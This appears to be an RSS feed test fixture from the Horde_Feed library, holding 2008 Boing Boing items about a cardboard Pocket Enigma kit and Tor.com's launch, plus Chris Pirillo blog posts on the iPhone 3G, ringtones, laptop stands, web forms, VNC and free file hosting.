    The instructions supplied explain how Pocket Enigma works and take the user step-by-step through the process of coding and decoding. Worked examples and carefully annotated figures illustrate how the Key and Message Setting are used, and there is a trouble-shooting table to help with common errors. For young readers there is also a simplified way of using it called Junior Pocket Enigma making it suitable for all ages who can read and write their own messages. Link

    ]]>    Bletchley Park, the "home of the codebreakers" -- where Alan Turing and co cracked the Nazi Enigma machine -- sells "Pocket Enigma Machines" made from a clever cardboard disc inserted into a CD jewel case. It comes with a very good booklet explaining the basics of ciphering and deciphering with Enigma, and with a bunch of fun Enigma-related activities. Proceeds go to the nonprofit that runs the excellent Bletchley Park museum. The instructions supplied explain how Pocket Enigma works and take the user step-by-step through the process of coding and decoding. Worked examples and carefully annotated figures illustrate how the Key and Message Setting are used, and there is a trouble-shooting table to help with common errors. For young readers there is also a simplified way of using it called Junior Pocket Enigma making it suitable for all ages who can read and write their own messages. Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=23f56db8fd1ca55be702a50136f24c9e" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=23f56db8fd1ca55be702a50136f24c9e" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F21%2Fpocket-enigma-machin.htmlhttp://www.boingboing.net/2008/07/21/pocket-enigma-machin.html    Tor.com: a blog, a social network, a zine -- totally clueful big publishing websitehttp://feeds.feedburner.com/~r/boingboing/iBag/~3/341250621/torcom-a-blog-a-soci.htmlBookHappy MutantsCory DoctorowMon, 21 Jul 2008 00:37:00 -0500tag:www.boingboing.net,2008://1.48091
    Hurrah! Tor, my US novel publisher, has launched Tor.com, its major, fantastically awesome website, which is part sf zine, part group-blog, part social network. They're publishing great original fiction -- they've got stories by John Scalzi and Charlie Stross up now, and I've got one coming soon, called THE THINGS THAT MAKE ME WEAK AND STRANGE GET ENGINEERED AWAY -- with original illustration by the talented Tor art team. They're running fascinating blog-posts on diverse subjects from a team of bloggers that includes in-house people from across the business and outside "friends of Tor" including novelists, fans, critics, and sundry others. And there's a social networking system that ties it all together.

    Oh, and for a short time, they're also hosting all the free ebooks they gave away to entice you to sign up for the launch-announcement. Run, don't walk. Link

    ]]>     Hurrah! Tor, my US novel publisher, has launched Tor.com, its major, fantastically awesome website, which is part sf zine, part group-blog, part social network. They're publishing great original fiction -- they've got stories by John Scalzi and Charlie Stross up now, and I've got one coming soon, called THE THINGS THAT MAKE ME WEAK AND STRANGE GET ENGINEERED AWAY -- with original illustration by the talented Tor art team. They're running fascinating blog-posts on diverse subjects from a team of bloggers that includes in-house people from across the business and outside "friends of Tor" including novelists, fans, critics, and sundry others. And there's a social networking system that ties it all together. Oh, and for a short time, they're also hosting all the free ebooks they gave away to entice you to sign up for the launch-announcement. Run, don't walk. Link...<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=172ebad9655f34d983dbbc87705453a6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=172ebad9655f34d983dbbc87705453a6" style="display: none;" border="0" height="1" width="1" alt=""/>http://api.feedburner.com/awareness/1.0/GetItemData?uri=boingboing/iBag&itemurl=http%3A%2F%2Fwww.boingboing.net%2F2008%2F07%2F20%2Ftorcom-a-blog-a-soci.htmlhttp://www.boingboing.net/2008/07/20/torcom-a-blog-a-soci.html    http://api.feedburner.com/awareness/1.0/GetFeedData?uri=boingboing/iBag     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-chris.pirillo.com-index.rdf0000664000175000017500000041546112653701626026142 0ustar janjan Chris Pirillo http://chris.pirillo.com Geek, Internet Entrepreneur, Hardware Addict, Software Junkie, Book Author, Once TV Show Host, Technology Enthusiast, Shameless Self-Promoter, Tech Conference Coordinator, Early Adopter, Idea Evangelist, Tech Support Blogger, Bootstrapper, Media Personality, Technology Consultant, Thicker Quicker Picker Upper. Sun, 20 Jul 2008 07:23:12 +0000 http://wordpress.org/?v=2.5.1 en ©Chris Pirillo chris@pirillo.com (Chris Pirillo) chris@pirillo.com(Chris Pirillo) media 1440 computer,tech,podcast,comedy,video,chris,gadget,gadgets Geek, Internet Entrepreneur, Hardware Addict, Software Junkie, Book Author, Once TV Show Host, Technology Enthusiast, Shameless Self-Promoter, Tech Conference Coordinator, Early Adopter, Idea Evangelist, Tech Support Blogger, Bootstrapper, Media Personality, Technology Consultant, Thicker Quicker Picker Upper. Chris Pirillo Chris Pirillo chris@pirillo.com No no http://chris.pirillo.com/http://chris.pirillo.com/images/GnomecomicMini.gifChris Pirillo 47.61067-122.33438756129http://www.feedburner.comSubscribe with My Yahoo!Subscribe with NewsGatorSubscribe with My AOLSubscribe with RojoSubscribe with BloglinesSubscribe with NetvibesSubscribe with GoogleSubscribe with Pageflakes(Enter a personal message you would like to have appear at the top of your feed.) Will Chris and Leo from TechTV ever Reunite? http://chris.pirillo.com/2008/07/20/will-chris-and-leo-from-techtv-ever-reunite/ http://chris.pirillo.com/2008/07/20/will-chris-and-leo-from-techtv-ever-reunite/#comments Sun, 20 Jul 2008 07:23:12 +0000 Chris http://chris.pirillo.com/?p=7662 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed Leo LaPorte and I worked together a few years ago on TechTV. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    Leo LaPorte and I worked together a few years ago on TechTV. Since that time, we have appeared at different conferences and conventions at the same time. People constantly ask “when will you and Leo do something together again!?”. We are each doing our own thing these days, but it was great fun to get together via phone during Leo’s recent “24 Hours of iPhone”. We had a lot of laughs, and discussed many different things. First and foremost, of course, we dished about the new iPhone 3G. Here’s a peek at some of the other products we talked about.

    Tengu

    Here we have a cute little white plastic brick with a face made of LEDs. The tiny microphone in the base picks up sounds in the room, whether it’s music, or your loudmouth boss, and makes his mouth move in time. It’s like he’s lip synching to the song! Kinda like Britney, only much much smaller, and probably smells better.

    He’s USB powered, so plug him in to any powered USB port, set him near your favorite sound-source, and your little buddy will perform for you all day long!

    USB Humping Dog

    It doesn’t serve any purpose, but it’s what they do. They are insatiable. And that’s all we really have to say. Harley is brown and Duke is black, and you can take your pick. Oh, and don’t worry - if the kids ask what the doggie is doing to your computer, just say, “He’s trying to jump over the computer, but he got a little stuck,” or “The computer is giving him a piggyback ride.” Either will suffice.

    We, of course, had to talk about live streaming. I explained to Leo that I love leaving the stream running all the time for many reasons. You never know what will happen at any given time throughout the day. You can see bloopers, chat it up with the Mods, watch me lose my patience and sanity, and even help me out when I’m stuck. Leo said that I am his inspiration for his own live streaming. He said he caught what we were doing here one day, and thought to himself “this is what I need to be doing!”.

    It was great spending some time chatting one-on-one with Leo again. Keep your eyes and ears open. You never know when and where it could happen again.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    Will Chris and Leo from TechTV ever Reunite?

    ]]>     http://chris.pirillo.com/2008/07/20/will-chris-and-leo-from-techtv-ever-reunite/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F20%2Fwill-chris-and-leo-from-techtv-ever-reunite%2F     What do you Think of the iPhone 3G? http://chris.pirillo.com/2008/07/19/what-do-you-think-of-the-iphone-3g/ http://chris.pirillo.com/2008/07/19/what-do-you-think-of-the-iphone-3g/#comments Sun, 20 Jul 2008 06:53:08 +0000 Chris http://chris.pirillo.com/?p=7661 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed I&#8217;ll miss my iPhone. I will no longer be using it as my primary communications device. We&#8217;ve had really good times together. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    I’ll miss my iPhone. I will no longer be using it as my primary communications device. We’ve had really good times together. We’ve had good conversations together, and sent many a great text message. There’s nothing wrong with my iPhone. It’s just not for me anymore. We’ve grown apart, that’s all. I’m breaking up with my iPhone. It’s true. I won’t be using it anymore. Maybe Wicket will want it.

    Instead, I’ll be using my iPhone 3G!!! Oh come on. You should have seen that one coming. You’ve been watching me wait for the 3G to get here for how long now? I gotta tell you. I’m happy with the upgrade so far. It’s not a dramatic upgrade, no. My initial impressions are good. For the most part, it’s a good experience. Instabilities abound, many of which have been noted on iPhone and apple-related sites and forums. The hope of the community is that Apple will be releasing a firmware update at some point in the very near future, to clear up some of the hiccups that people are experiencing.

    Introducing iPhone 3G. With fast 3G wireless technology, GPS mapping, support for enterprise features like Microsoft Exchange, and the new App Store, iPhone 3G puts even more features at your fingertips. And like the original iPhone, it combines three products in one — a revolutionary phone, a widescreen iPod, and a breakthrough Internet device with rich HTML email and a desktop-class web browser. iPhone 3G. It redefines what a mobile phone can do — again.

    Phone Make a call by tapping a name or send a text with the intelligent keyboard.

    iPod Enjoy music and video on a widescreen display and shop for music with a tap.

    Internet Browse the real web, get HTML email, and find yourself with GPS maps.

    What’s new in the iPhone?

    1. 3G Speed 3G technology gives iPhone fast access to the Internet and email over cellular networks around the world. iPhone 3G also makes it possible to do more in more places: Surf the web, download email, get directions, and watch video — even while you’re on a call.
    2. Maps with GPS Find your location, get directions, and see traffic — all from your phone. Maps on iPhone 3G combines GPS, Wi-Fi, and cell tower location technology with the Multi-Touch interface to create the best mobile map application ever.
    3. App Store Tap into the App Store and you’ll find applications in every category, from games to business, education to entertainment, finance to health and fitness, productivity to social networking. These applications have been designed to take advantage of iPhone features such as Multi-Touch, the accelerometer, wireless, and GPS. And some are even free. You can download them wirelessly and start using them right away.

    There are so many more things, as well. You can check them all out for yourself on the Apple website, or in any Apple store. I’m telling you. The iPhone is changing the way we communicate, work and play. If you have the 3G already, what are your initial thoughts? If you don’t have one yet… why not?

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What do you Think of the iPhone 3G?

    ]]>     http://chris.pirillo.com/2008/07/19/what-do-you-think-of-the-iphone-3g/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F19%2Fwhat-do-you-think-of-the-iphone-3g%2F     Crash Bandicoot Nitro Cart 3D Video Review http://chris.pirillo.com/2008/07/19/crash-bandicoot-nitro-cart-3d-video-review/ http://chris.pirillo.com/2008/07/19/crash-bandicoot-nitro-cart-3d-video-review/#comments Sun, 20 Jul 2008 06:36:15 +0000 Chris http://chris.pirillo.com/?p=7660 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed Yes, it&#8217;s Crash Bandicoot Nitro Cart 3D, which is available in the App Store for about $10.00&#8230; if you have an iPhone, of course. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    Yes, it’s Crash Bandicoot Nitro Cart 3D, which is available in the App Store for about $10.00… if you have an iPhone, of course. I have heard a lot about this, so I had to check it out. This app has been sponsored by Matt. Thanks to all of you for the iTunes gift cards!

    Crash Bandicoot Nitro Kart 3D is a Mario Kart-like 3D racer with Crash Bandicoot at the wheel instead of the chubby Brooklyn plumber. You unlock new characters as you collect items, but the controls are pretty much standard for iPhone racing games. The default calibration is off, leading Crash to always veer left at the neutral point even when we started up the game with the phone on a desk. This means you need to tilt the phone slightly to the right to go straight.

    One thing that strikes me as really good about this game is the accelerometer option. You can adjust the sensitivity, which I did. I tend to over-steer at times. You can adjust the sounds and/or music if you wish. You can choose your player, once you unlock them. The game loads quickly.

    The game is fun, but there’s still optimization that needs to happen. It’s dropping some frames, but not horribly. I don’t miss having a joystick, believe it or not. It’s very simple to steer and control the game characters. If you’re familiar with this type of game, I think you’ll fall in love with it.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    Crash Bandicoot Nitro Cart 3D Video Review

    ]]>     http://chris.pirillo.com/2008/07/19/crash-bandicoot-nitro-cart-3d-video-review/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F19%2Fcrash-bandicoot-nitro-cart-3d-video-review%2F     How to Update Software on the iPhone http://chris.pirillo.com/2008/07/19/how-to-update-software-on-the-iphone/ http://chris.pirillo.com/2008/07/19/how-to-update-software-on-the-iphone/#comments Sun, 20 Jul 2008 06:17:49 +0000 Chris http://chris.pirillo.com/?p=7659 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed You won&#8217;t believe me, especially if you&#8217;ve tried to do this on any other device. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    You won’t believe me, especially if you’ve tried to do this on any other device. You won’t believe how easy it is to update the software on your iPhone. I already have over 70 apps installed on my iPhone, and the App Store has only been open for a week. When you have new messages for any app, a little number will show up in the upper right-hand corner. The App Store is where you go on your iPhone to browse and buy new applications. When you are at the App Store… there is a tab for updates.

    The App Store will remember what apps you already have installed, and will tell you which ones have new updates. You simply enter your iTunes password, tap a button, and the app is updated. That really is all you have to do. When the phone is sync’d with my desktop, it will download the latest version from the web. Then, I’ll always have the latest app on my iPhone.

    This is why I believe that software on the iPhone is convenient, user-friendly, and a game changer. Apple has raised the bar so high over the competition in this area… there is no word to describe it properly.

    You have to let me know what your favorite iPhone apps are. What is the most fun, and the most functional? What has made your life easier… and what one has made you spend wayyyyy too much time playing with your phone?

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    How to Update Software on the iPhone

    ]]>     http://chris.pirillo.com/2008/07/19/how-to-update-software-on-the-iphone/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F19%2Fhow-to-update-software-on-the-iphone%2F     What’s Your Current Ringtone? http://chris.pirillo.com/2008/07/19/whats-your-current-ringtone/ http://chris.pirillo.com/2008/07/19/whats-your-current-ringtone/#comments Sun, 20 Jul 2008 06:06:00 +0000 Chris http://chris.pirillo.com/?p=7658 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed What ringtone do you have on your mobile device right now? (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    What ringtone do you have on your mobile device right now? Did you download it from the Internet, or are you using one that came with your phone. It’s so much better to go online to get one for your phone… for free. We’ve done many of these types of videos in the past. Today, I have a new one to tell you about.

    On Tonzr, you can gain free access to MILLIONS (6,826,506 and counting) of MP3 ringtones, or “realtones”. There are just three easy steps to getting your ringtone:

    • Search for an artist or song title.
    • Preview the ringtones by clicking the play button to the left of each result.
    • When you find the ringtone you want, click the title of the track and have it sent to your phone!

    That’s all there is to it. There’s nothing to sign up for, and more importantly… nothing to pay for.

    So far, we support any phone with internet and MP3 capabilities on the following networks: Sprint, Nextel, AT&T, T-Mobile, Verizon, Alltel, US Cellular, Cellular South, and Cricket. We’ll be adding Helio and hopefully many others soon.

    Tonzr is completely, entirely, honestly free. Free, free, free, free. There is absolutely no hidden fees or subscriptions so you won’t have any surprises when your phone bill comes. Seriously, it’s totally free.

    I can’t think of an easier (and cheaper!) way to get a great ringtone for your phone.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What’s Your Current Ringtone?

    ]]>     http://chris.pirillo.com/2008/07/19/whats-your-current-ringtone/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F19%2Fwhats-your-current-ringtone%2F     How do you Keep your Laptop Cool? http://chris.pirillo.com/2008/07/18/how-do-you-keep-your-laptop-cool/ http://chris.pirillo.com/2008/07/18/how-do-you-keep-your-laptop-cool/#comments Sat, 19 Jul 2008 02:54:46 +0000 Chris http://chris.pirillo.com/?p=7657 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed If things look different in this video compared to others I&#8217;ve done, it&#8217;s because I have a new laptop stand. (...)
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    If things look different in this video compared to others I’ve done, it’s because I have a new laptop stand. I’m not sure if I’ll use it as my primary stand, though. They’re usually designed to help make your notebook more ergonomic and comfortable for people, and helps keep it properly cooled. No matter what kind of notebook you have, they tend to overheat without proper airflow. Getting some type of laptop stand is a good thing for this reason. The one I normally use is a Targus. It has a couple of fans, and a couple of USB ports. The Alto from Logitech is the one I want to talk about today. First, let’s look at the features:

    • Notebook display riser: Elevates and extends your notebook’s display for viewing comfort. Relaxes you while making you more productive.
    • Full-sized keyboard: Type faster, with less fatigue. The integrated soft palm rest adds wrist support and keeps your hands away from the hot notebook surface.
    • One-touch hot keys: Get instant access to your digital music with media and volume controls. Additional hot keys instantly take you to your favorite applications, folders, and Web pages.
    • Multipurpose USB hub: Use three high-speed USB 2.0 ports to connect your favorite peripherals, including cordless mice, webcams, printers, and external drives.
    • Works with virtually any notebook: Use it with your current notebook—and your next one.
    • Easy setup and storage: Flip it open for instant use on almost any flat surface; fold it down for easy transport and storage.

    I think this is a nice laptop stand, but it is really pricey. It looks good, and is really functional. It will make good office decor, for sure. I don’t know. Maybe I’ll grow to like it more over time. It makes my MacBook sit up entirely too high for my needs.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    How do you Keep your Laptop Cool?

    ]]>     http://chris.pirillo.com/2008/07/18/how-do-you-keep-your-laptop-cool/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fhow-do-you-keep-your-laptop-cool%2F     What’s the Easiest Way to Build Music Playlists? http://chris.pirillo.com/2008/07/18/whats-the-easiest-way-to-build-music-playlists/ http://chris.pirillo.com/2008/07/18/whats-the-easiest-way-to-build-music-playlists/#comments Sat, 19 Jul 2008 02:43:09 +0000 Chris http://chris.pirillo.com/2008/07/18/whats-the-easiest-way-to-build-music-playlists/ Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed I remember back in the day, making mix tapes for girls. What? How can you not know what mix tapes are? (...)
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    I remember back in the day, making mix tapes for girls. What? How can you not know what mix tapes are? You took two boomboxes, two cassette tapes… and made your own mix tapes full of songs. Now that we don’t make those anymore, the personal touch has gone by the wayside. Sending someone a link just isn’t personal. Thankfully, you can now just zip over and use PlayList.

    Projectplaylist.com is an information location tool similar to Google® and Yahoo!® but devoted entirely to the world of music. Our purpose is to help you find and enjoy music legally throughout the web in the same way that other search engines help you find webpages, images, and other media, but we also add a social /community twist. We make it easy for you to create playlists, share your playlists with friends, and browse playlists of others. We connect you with the coolest music on the web, and we connect people who are passionate about music. Music is burgeoning on the web. Increasingly, artists, record companies, music bloggers, music websites and music critics are uploading music files to websites that they control for promotional or other legal purposes. Our mission at Project Playlist, Inc. is to organize this rapidly growing abundance of legal music on the web for the benefit of the worldwide music community – artists, songwriters, music distributors, and listeners alike. Our view is that the more people share their individual passion for music by sharing playlists, the more music will be created, and the more the entire music industry will grow.

    Projectplaylist.com allows you to discover all of this free music legally because we respect the rights of copyright holders and we insist that you do as well. We pay royalties to songwriters and music publishers, and we respect the performing artist’s choice. Some performing artists make their music freely available on the web, others allow you to listen to only a few freely available songs through a promotional site, and a few would prefer that none of their music be heard on the web at all. If an artist tells us that our search engine is linking to an illegally posted song, we will immediately take down the link to that music file.

    It doesn’t get any better than that. I can now go in, and create a playlist especially for my wife, to welcome her home from her trip. I know I missed her, and the dogs really did. I think they might be getting a tad tired of having just Daddy around. Why not go and create a playlist or twelve of your own?

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What’s the Easiest Way to Build Music Playlists?

    ]]>     http://chris.pirillo.com/2008/07/18/whats-the-easiest-way-to-build-music-playlists/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fwhats-the-easiest-way-to-build-music-playlists%2F     What Software Helps Remix Music? http://chris.pirillo.com/2008/07/18/what-software-helps-remix-music/ http://chris.pirillo.com/2008/07/18/what-software-helps-remix-music/#comments Sat, 19 Jul 2008 02:26:06 +0000 Chris http://chris.pirillo.com/?p=7655 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed When you stream your life online 24/7 like I do, you&#8217;ll eventually say something that someone thinks is funny. (...)
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    When you stream your life online 24/7 like I do, you’ll eventually say something that someone thinks is funny. They’ll record it, and upload it somewhere like YouTube for everyone else to laugh at. I don’t mind when people do that. What do you do when you want to create your own sound mixes? That’s where JamGlue will come in handy.

    Jamglue is an online community for creating and sharing original music and audio. We let you upload as much music as you want, create mixes, and share your creations with the world! One of the coolest things about Jamglue is our web-based remixer that lets you combine and edit tracks right in your browser.

    Jamglue’s simple Flash-based mixer works from within your browser! You don’t have to be an experienced musician to make great mixes — all you need is an imagination and a mouse. Click the play button to start the mix playing. While it’s playing, drag some of the clips around and adjust the volume sliders. To really go nuts, add something new using the large orange button at the bottom. If you make something you like, save your mix using the Save/Save a Copy buttons at the top.

    You can mark mixes and tracks as “favorites” to give people props for creating cool music and to show off your great musical taste. You can even write your own mini-review or download the song to listen to on your mp3 player! You can embed mixes and tracks in your blog or MySpace page so that all your friends can easily listen to your favorite Jamglue music.

    It really is that easy. Simply upload or record your own tracks. Create an original mix, or personalize someone else’s… and then show it off to others. That’s all there is to it. It’s really addicting to sit here and become a DJ for a day, creating your own original jams!

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    What Software Helps Remix Music?

    ]]>     http://chris.pirillo.com/2008/07/18/what-software-helps-remix-music/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fwhat-software-helps-remix-music%2F     Would You Like to be a Ninja? http://chris.pirillo.com/2008/07/18/would-you-like-to-be-a-ninja/ http://chris.pirillo.com/2008/07/18/would-you-like-to-be-a-ninja/#comments Sat, 19 Jul 2008 02:11:51 +0000 Chris http://chris.pirillo.com/?p=7654 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed This, my friends, is my Ninja. This is the way of the Ninja - N+. This is a game that is coming soon to the Nintendo DS and Sony PSP. (...)
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    This, my friends, is my Ninja. This is the way of the Ninja - N+. This is a game that is coming soon to the Nintendo DS and Sony PSP. It’s also available already on the Xbox 360 Marketplace. You can download it to your Mac or PC to try it out, as well.

    In a futuristic world populated by inadvertantly homicidal robots, a lone ninja must use acrobatic skill and iron-clad guts of steel to survive in this fast-paced, balls-to-the-wall action-puzzle platform.

    N+ features unique and freeing physics-based control, mind-blowing style, a built-in level editor and several flavours of sweet, sweet multiplayer goodness. Plus, save and view replays of high-score runs.

    N+ virtually gaurantees a 38% increase in ninjas, robots, and your personal popularity. It’s time to show the world your inner ninja! So little to lose, and so much to gain.

    Maybe you know of another game that’s similar to this, or even one that’s more fun. Be sure to let me know about it, and come visit us in our chat room. There’s always people there talking about gaming.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    Would You Like to be a Ninja?

    ]]>     http://chris.pirillo.com/2008/07/18/would-you-like-to-be-a-ninja/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fwould-you-like-to-be-a-ninja%2F     How do You Build and Host a Web Form? http://chris.pirillo.com/2008/07/18/how-do-you-build-and-host-a-web-form/ http://chris.pirillo.com/2008/07/18/how-do-you-build-and-host-a-web-form/#comments Fri, 18 Jul 2008 09:19:26 +0000 Chris http://chris.pirillo.com/?p=7653 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed When you need to get information from people, it&#8217;s good to get it on a voluntary basis. (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    When you need to get information from people, it’s good to get it on a voluntary basis. If you’re going to collect information from people online, it’s best to build your own form. There’s no easy way of building a powerful form, is there? You could always pay someone to create an onlie form for you. But then, you’ll just have to pay again every time something needs to be changed or updated. Well, instead of spending your money, why not check out JotForm.

    JotForm is the first web based WYSIWYG form builder. Its intuitive drag and drop user interface makes form building a breeze. Using JotForm, you can create forms, integrate them to your site and collect submissions from your visitors.

    JotForm is developed mainly for webmasters, but anybody with an Internet connection can use it. JotForm is WYSIWYG, so you can still make web forms without any web design or HTML experience. Since JotForm is hosted on our servers, there are no requirements. JotForm supports all standard web form field types. In addition, it allows you to use new and intuitive fields in your form such as Date Time Picker, Star Ratings, or CAPTCHA checks. Using JotForm, you can create any kind of web form.

    JotForm is completely free for Basic usage. You can create forms, integrate them into your site, and collect submissions from your users without any cost.

    Why not come hang out with us in our live chat room? If you become a regular chatter, you’ll gain “voice”. That means you’ll be able to chat during video recording, and shows you’re a trusted community member. We’re live 24/7, and there’s always someone hanging out, ready to talk about all things tech.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Random Posts

    Chris

    How do You Build and Host a Web Form?

    ]]>     http://chris.pirillo.com/2008/07/18/how-do-you-build-and-host-a-web-form/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fhow-do-you-build-and-host-a-web-form%2F     Do You Have VNC on the iPhone? http://chris.pirillo.com/2008/07/18/do-you-have-vnc-on-the-iphone/ http://chris.pirillo.com/2008/07/18/do-you-have-vnc-on-the-iphone/#comments Fri, 18 Jul 2008 08:19:08 +0000 Chris http://chris.pirillo.com/?p=7652 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed If you guys are wondering why on Earth you would ever want to stop by our live show. Well, the reason is VNC for the iPhone. (...)
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    If you guys are wondering why on Earth you would ever want to stop by our live show. Well, the reason is VNC for the iPhone. I am browsing the computer that runs my live stream with it right now. Specifically, the app I’m using on my iPhone is called Mocha VNC Lite.

    Mocha VNC provides access to a VNC Server. Using your iPhone, you can connect to a Windows PC or Mac OS X and see the files, programs, and resources exactly as you would if you were sitting at your desk, just on a smaller screen.

    The features include:

    • Standard VNC protocol with encrypted password signon
    • 8 and 32 bit color modes
    • Server screen resolution up to 1680×1200
    • Local Mouse support
    • Zoom and scroll as the Safari browser
    • Landscape mode
    • Can handle 6 different Host configurations
    • Has been tested with RealVNC, TightVNC, UltrVNC on Windows, and Apple Remote Management, which is included with the Mac OS X.

    It doesn’t matter what operating system you use on your computer. As long as you have an iPhone, and a computer running VNC software, you can connect. For a first version, it works really well. I’m certainly looking forward to forthcoming versions.

    When you’re away from your desk, but want to still be connected to your computer, Mocha VNC Lite is the way to go.

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

    Chris

    Do You Have VNC on the iPhone?

    ]]>     http://chris.pirillo.com/2008/07/18/do-you-have-vnc-on-the-iphone/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fdo-you-have-vnc-on-the-iphone%2F     Where do You Host Files for Free? http://chris.pirillo.com/2008/07/18/where-do-you-host-files-for-free/ http://chris.pirillo.com/2008/07/18/where-do-you-host-files-for-free/#comments Fri, 18 Jul 2008 08:09:45 +0000 Chris http://chris.pirillo.com/2008/07/18/where-do-you-host-files-for-free/ Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed My friend Geoff Smith created my custom ringtone for my iPhone. Many of you want that ringtone, even though your name isn&#8217;t Chris. (...)
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    My friend Geoff Smith created my custom ringtone for my iPhone. Many of you want that ringtone, even though your name isn’t Chris. Well, I finally uploaded it for you all. Feel free to use it if you have an iPhone. I uploaded the ringtone to Drop.io. Drop is a free service that lets you quickly and easily share files of all types.

    A drop is a chunk of space you can use to store and share anything privately (pictures, videos, audio, documents, etc.), without accounts, registration, or an email address. Drops are not “searchable” and not “networked;” they just exist online as private points for exchange between individuals or groups.

    Create as many drops as you want in as little as two clicks and set things like a password, whether others can add to the drop, and how long you want it to exist (you can renew later). Drops can be flexibly used in a range of ways from sharing family photos and videos to collaborating on group projects.

    Each drop has four primary input methods – the web, email, voice, and fax – and a few secondary ones like “widgets.” Anything you input into a drop can then be retrieved on the web at that drop location.

    Another great way to share files is through MediaFire. You can share an unlimited number of files on MediaFire, as long as each file is under 100MB. You can link to your MediaFire files from within MySpace or a blog. Use folders to easily share groups of files or create galleries for all your images. No registration necessary and no software to install.

    Why would you use either of these services? Besides the fact they are free, you can keep frequently used files online for easy access from any computer with an internet connection.

    What other sites like these do you use? Which ones do you find to be reputable, as opposed to the ones that are just not worth your time?

    Want to embed this video on your own site, blog, or forum? Use this code or download the video:

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    Chris

    Where do You Host Files for Free?

    ]]>     http://chris.pirillo.com/2008/07/18/where-do-you-host-files-for-free/feed/ http://api.feedburner.com/awareness/1.0/GetItemData?uri=ChrisPirillo&itemurl=http%3A%2F%2Fchris.pirillo.com%2F2008%2F07%2F18%2Fwhere-do-you-host-files-for-free%2F     Do You Want to Make your own iPhone Ringtone for Free? http://chris.pirillo.com/2008/07/16/do-you-want-to-make-your-own-iphone-ringtone-for-free/ http://chris.pirillo.com/2008/07/16/do-you-want-to-make-your-own-iphone-ringtone-for-free/#comments Thu, 17 Jul 2008 04:05:54 +0000 Chris http://chris.pirillo.com/?p=7649 Add to iTunes &#124; Add to YouTube &#124; Add to Google &#124; RSS Feed What&#8217;s the ringtone on your phone right now? How do you create them, or do you buy them? (...)
    Add to iTunes | Add to YouTube | Add to Google | RSS Feed

    What’s the ringtone on your phone right now? How do you create them, or do you buy them? Thanks to one of our community members, I wanted to show you the coolest new way to create your ringtones quickly and with ease.

